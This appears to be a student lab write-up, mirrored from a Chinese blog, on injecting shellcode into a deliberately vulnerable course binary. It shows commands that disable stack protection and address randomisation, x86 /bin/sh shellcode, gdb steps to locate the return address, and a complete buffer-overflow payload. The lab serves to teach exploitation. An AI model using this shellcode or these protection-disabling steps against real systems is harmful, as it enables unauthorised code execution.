zoukankan      html  css  js  c++  java
  • 20155305《网络对抗》PC平台逆向破解(二)

    20155305《网络对抗》PC平台逆向破解(二)

    shellcode注入

    1、shellcode

    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

    2、构造方法

    (1)nop+shellcode+retaddr(适用于缓冲区大的情况)

    (2)retaddr+nop+shellcode(适用于缓冲区小的情况)
    3、准备工作(安装execstack并修改设置)

    • 安装execstackapt-get install execstack
    • 设置堆栈可执行execstack -s pwn20155305
    • 查询文件的堆栈是否可执行execstack -q pwn20155305
    • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    • 查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化more /proc/sys/kernel/randomize_va_space

    4、运行并gdb调试

    • 输入shellcode内容perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode运行pwn20155305,输入命令(cat input_shellcode;cat) | ./pwn20155305

    • 查询进程输入命令ps -ef | grep pwn20155305

    • 启动gdb调试这个进程

    • 通过设置断点disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。gdb中输入c,之后输入info r esp

    • (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

    • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

  • 相关阅读:
    wsl手动启动特定的子系统
    winserver安装wsl
    wsl子系统下载地址-补充centos7地址
    wsl (1)-含wsl子系统各启动命令
    win10系统版本说明
    zenith 以及海康 rtsp流
    shinobi (4)
    ffmpeg
    CF993A Two Squares 几何 第二道 暴力或判断条件(*)
    CF994B Knights of a Polygonal Table 第一道 贪心 set/multiset的用法
  • 原文地址:https://www.cnblogs.com/20155305ql/p/8563661.html
Copyright © 2011-2022 走看看